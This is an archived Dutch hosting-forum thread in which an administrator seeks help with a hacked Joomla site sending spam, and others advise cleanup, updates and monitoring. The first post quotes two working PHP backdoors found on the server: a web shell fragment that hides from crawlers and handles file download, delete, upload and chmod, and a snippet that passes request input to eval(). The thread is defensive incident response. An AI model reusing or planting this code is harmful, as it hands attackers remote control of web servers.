PDA

Bekijk Volledige Versie : Account verstuurd spam; geen iframe te vinden



hires
30/06/13, 17:19
Hallo allemaal,

Ik heb wat hulp nodig m.b.t. een account op één van de servers (DA/CentOs). De spam wordt de laatste paar dagen verstuurd en ik zie ook een aantal bestanden die ongeveer rond die datum (paar dagen geleden) zijn gewijzigd. Wachtwoord zijn inmiddels aangepast.

Meestal betreft het dan een iframe die ik verwijder uit de bestanden, maar deze keer zijn die er niet. Als ik dan op zoek ga naar verdachte code, dan zie ik wel dat een bestand bovenaan begint met een opening tag van PHP, dan een 'if(!empty...'-regel en daarna de opening tag van HTML met daaronder de rest van de pagina:



<?php
if(!empty($_SERVER['HTTP_USER_AGENT'])) { $v2045f746 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "StackRambler"); if(preg_match('/' . implode('|', $v2045f746) . '/i', @$_SERVER['HTTP_USER_AGENT'])) { header('HTTP/1.0 404 Not Found'); exit; } } @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_time_limit(0); @set_magic_quotes_runtime(0); if(@get_magic_quotes_gpc()) $_POST = n0182dfe8($_POST); $v619d75f8 = preg_split('/\,(\ +)?/', @ini_get('disable_functions')); define("DEFAULT_DIR_DEEP_BACK","3"); if(isset($_POST['p1'])) $_POST['p1'] = urldecode($_POST['p1']); if(isset($_POST['p3'])) $_POST['p3'] = urldecode($_POST['p3']); if(@$_POST['p2']=='download') { if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) { ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=".@basename($_POST['p1'])); if (function_exists("mime_content_type")) { $v599dcce2 = @n85ced157($_POST['p1']); header("Content-Type: " . $v599dcce2); } else header("Content-Type: application/octet-stream"); $v0666f0ac = @fopen($_POST['p1'], "r"); if($v0666f0ac) { while(!@feof($v0666f0ac)) echo @fread($v0666f0ac, 1024); @fclose($v0666f0ac); } } exit; } elseif (@$_POST['p2']=='delete') { if (@is_dir($_POST['p1'])) @n46aa46af($_POST['p1']); else @unlink($_POST['p1']); } elseif (@$_POST['p2']=='chmod') { $v58f57b98 = 0; for($v865c0c0b=strlen($_POST['p1'])-1;$v865c0c0b>=0;--$v865c0c0b) $v58f57b98 += (int)$_POST['p3'][$v865c0c0b]*pow(8, (strlen($_POST['p3'])-$v865c0c0b-1)); if(!@chmod($_POST['p1'], $v58f57b98)) echo 'Can\'t set permissions!<br>'; } elseif (@$_POST['p2']=='mkdir') { if(!@mkdir($_POST['p1'])) echo 'Can\'t create new dir<br><script>document.mf.p3.value="";</script>'; } elseif (@$_POST['p2']=='uploadFile') { if(!@move_uploaded_file(@$_FILES['f']['tmp_name'], $_POST['p3'].@$_FILES['f']['name'])) echo 'Can\'t upload file!<br><script>document.mf.p3.value="";</script>'; } if (isset($_REQUEST['sf']) and $_REQUEST['sf']==0) $v2e0a881e = false; else $v2e0a881e = true; if (isset($_REQUEST['showro']) and $_REQUEST['showro']==0) $v8a40bf93 = false; else $v8a40bf93 = true; echo "
<html>
<style>....
......
enz..


Ik herken dit soort code niet direct en snap ook niet wat het doet. Is iemand hier bekend mee? En, als dit legitieme code is, heeft iemand dan nog andere tips waarnaar ik kan kijken, specifiek in die bestanden die een paar dagen geleden zijn aangepast?

Het betreft een Joomla installatie, dus het kan prima zijn dat die code van Joomla is, maar omdat ik verder in de bestanden geen rare dingen kan vinden en alleen bovenstaande, dacht ik dat dit mogelijk een oorzaak kan zijn?

Bedankt alvast.

UPDATE:
In een ander bestand ook iets verdachts:



<?php $qwucrp = "7bd065c708f3dcacae7a7b9409a243bc"; if(isset($_REQUEST['yydvoqju'])) { $vdgyrhoq = $_REQUEST['yydvoqju']; eval($vdgyrhoq); exit(); } if(isset($_REQUEST['rnlzrwiu'])) { $wqntplw = $_REQUEST['amuujp']; $pooxcfvu = $_REQUEST['rnlzrwiu']; $gukddfv = fopen($pooxcfvu, 'w'); $witl = fwrite($gukddfv, $wqntplw); fclose($gukddfv); echo $witl; exit(); }
?>

hires
30/06/13, 17:51
Ineens viel me wat meer op en lijkt het één en ander getackelt te zijn. In alle bestanden die op dezelde datum en tijd aangepast waren zag ik ineens een overeenkomst. Dit heb ik allemaal verwijderd, dus mogelijk dat nu alles weer schoon is.

PerryKniest
30/06/13, 17:58
De code die je weer geeft probeert de boel te hacken, het loopt een controle af op elk bestand om achter de grote, datum, locatie, rechten, en de eigenaar van het bestand te komen. Daarnaast controleert het of het een bestand kan aanmaken en uploaden.

Ik vermoed dat deze code er dus niet thuis hoort en dus ook de oorzaak is van de spam.
Wanneer je via de filemanager van directadmin de bestanden bekijkt, zie je dan toevallig afwijkende datums bij bestanden staan of dat de eigenaar van het bestand apache is? In die bestanden is zeker iets aangepast en de scripts welke de spam versturen moeten dus ook in die bestanden / locaties te vinden zijn.

Het is aan te raden om deze codes dus te verwijderen, eventueel geuploaden bestanden ook te verwijderen en directories de juiste rechten te geven, pas ook het wachtwoord aan van de ftp en update je wordpress, joomla of welk programma je gebruikt voor de website.

The-BosS
30/06/13, 17:59
Ineens viel me wat meer op en lijkt het één en ander getackelt te zijn. In alle bestanden die op dezelde datum en tijd aangepast waren zag ik ineens een overeenkomst. Dit heb ik allemaal verwijderd, dus mogelijk dat nu alles weer schoon is.

Mogelijk dat je alles verwijderd hebt, maar ik zou toch ook maar eens upgraden wat er te upgraden valt, want in het geval er een bug/hack gebruikt is om de code te uploaden ben je binnen de kortste keren terug het slachtoffer van deze hack.

Paul Z.
30/06/13, 18:00
De beide code snippets zijn niet echt "legitieme" code, tenzij je de hekker bent :) .
Ik zou allebei de paginas maar eens schoonmaken. Je kan waarschijnlijk in je access logs van je webserver zien welke paginas worden aangeroepen met een lange request... Dan die paginas eens goed bekijken..

magentohosting
30/06/13, 18:03
Draait Joomla (en alle plugins) de meest recente versie?

Wij hadden onlangs ook een Joomla site met wat problemen. Helaas kon het upgraden van Joomla niet gedaan worden om bepaalde redenen. Zo nu en dan wordt er wat spam verstuurd vanaf deze Joomla site, dus verwijderen die bestanden en klaar. Wij hebben daarom een simpel scriptje draaien dat elke keer checkt op gewijzigde bestanden. Niet heel erg ideaal, maar daardoor kunnen we wel redelijk snel ingrijpen op deze site (voordat er bakken met spam wordt verstuurd).

Wellicht heb je er wat aan (overigens geen rede om joomla niet te updaten naar de laatste versie als dat nog niet gedaan is):


#!/bin/sh
# Variabelen:
SAVED="/var/scripts/lastchangedfiles"
DATE=$(date +%d%m%Y)
TIME=$(date +%H%M)

## Welke dirs?
DIR1="PATH/TO/DIRECTORY"
DIR2="/OTHER/PATH/"
DIRS="$DIR1"

mkdir $SAVED
## Scan voor gewijzigde bestanden afgelopen 5 minuten
for i in $DIRS ; do
find $i -cmin -5 -name *.php >> $SAVED/changedfiles.$DATE.$TIME.txt
if [ -s $SAVED/changedfiles.$DATE.$TIME.txt ] # is text.txt > 0?
then
cat $SAVED/changedfiles.$DATE.$TIME.txt | mail -s "Laatste gewijzigde bestanden" email@domeinnaam.nl
fi
done


Ik blijf erbij dat het een dirty manier van werken is, maar het kan op het moment even niet anders :-)

PerryKniest
30/06/13, 18:24
Ineens viel me wat meer op en lijkt het één en ander getackelt te zijn. In alle bestanden die op dezelde datum en tijd aangepast waren zag ik ineens een overeenkomst. Dit heb ik allemaal verwijderd, dus mogelijk dat nu alles weer schoon is.

Je had het zelf deels al gevonden toen ik me bericht nog aan het typen was.
Controleer toch nog even of er geen bestanden geüpload zijn met de user apache, en update je joomla naar de laatste versie. Mocht dit overigens niet lukken via de update functie in joomla zelf, je kunt altijd via ftp gewoon de nieuwe versie eroverheen kopiëren. (wel even backup maken van te voren)

hires
30/06/13, 19:00
Bedankt allemaal en handig scriptje, Magentohosting. Ook na mijn laatste post bleek dat er toch nog hier en daar wat narigheid was achtergebleven, maar volgens mij is nu alles opgevangen. Joomla updaten moet nog wel. Perry, ik zag inderdaad dat van een aantal file apache de owner was; ik moest ook steeds de ownership resetten. Dit heb ik gedaan, vervolgens CHMOD 777, bestanden opgeschoond, en waar nodig (de meeste) bestanden weer CHMOD 644. Verder een idee om Joomla binnen Installatron te trekken, zodat het beter te beheren valt; dat is nu nog niet het geval.

Bedankt iedereen zover!

PerryKniest
30/06/13, 19:09
Een bestaande Joomla installatie is te importeren via installatron.
Kleine handleiding (wel engels, maar zal geen probleem zijn? anders wil ik hem wel even vertalen)

How to import an existing application into Installatron

• If you've installed the application from other auto installer or manually, you can import it to be managed through Installatron.
• Go to Applications Browser. Find Script from the menu on left hand side.
• Click on Import existing install button.
• Choose domain and path where script is installed.
• Click on Next button.
• For database information, you will require database name, username and password options.
• Submit the information and you will see the software being imported after sometime.
• Click on Complete button and you will be able to see the imported installation

hires
30/06/13, 19:16
Bedankt Perry, deze was bekend.

Keizer
01/07/13, 00:11
Ben je op de hoogte van het lek in het component com_jce (Joomla Content Editor)? Zo lang die er in zit is het dweilen met de kraan open :)

hires
04/07/13, 21:11
Daar ga ik me even in verdiepen, want het is wederom raak.. :) Bedankt voor de tip.